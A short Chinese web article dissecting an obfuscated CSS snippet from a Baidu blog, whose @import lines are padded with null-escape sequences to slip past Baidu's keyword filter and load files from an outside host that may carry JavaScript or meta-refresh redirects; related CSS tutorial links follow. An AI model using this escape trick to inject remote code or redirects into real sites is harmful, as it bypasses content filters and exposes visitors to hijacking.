CSS“加密”技术
@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";
@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";
在CSS里“\0”、“\00”、“\000”是会被浏览器忽略的(其他的相关的CSS hacking 请参考Monyer的XSS系列),那我们去掉看看:
@import "http://blog.edikid.net/hibaidu/css.html";
@import http://blog.edikid.net/hibaidu/js.html;
对于这两句,我想大家再熟悉不过了吧?其中不仅可以放被调用的CSS代码,同时也可以随意插入js代码(我们不是用它插过视频么?)
但是我们把作者的所有CSS全部copy到我们那里是不会成功的,原因就是import字符及相关绕过方式早已经被百度过滤了,而作者是在百度过滤之前加入的,并且没有修改过,所以仍然有效。
对于
http://blog.edikid.net/hibaidu/css.html
http://blog.edikid.net/hibaidu/js.html
第一个CSS调用我没有分析,因为我测试时恰好文件无法访问(第二个应该不会被执行,因为前面的混淆语句不是很完整,这个要看你客户端是什么浏览器了)。
但是以前一次分析时好像记得其中有类似
<meta http-equiv="refresh" content="url=url,0">
这样的html转向代码。由于后缀名的关系,当你用浏览器直接访问时,里面的CSS不会被执行,但会执行嵌入其中的html或js代码;当你用import调用时,里面的html及脚本不会执行,但里面的CSS会执行。所以你只能用记事本来打开,或flashget
【相关文章:】
css解决IE6,IE7,firefox兼容性问题
CSS样式文件优化 更整洁而清晰
CSS设计网站导航菜单的优势分析
DIV+CSS命名参考
ASP+CSS 实现列表隔行换色
UL实现隔行换色
CSS、XHTML中隐藏滚动条与设置样式
Javascript+ASP打造无刷新新闻列表
CSS应用的优先权
HTML结构化 DIV CSS网页布局入门指南
【发表评论】【打印此文】【关闭窗口】【点击数: 】
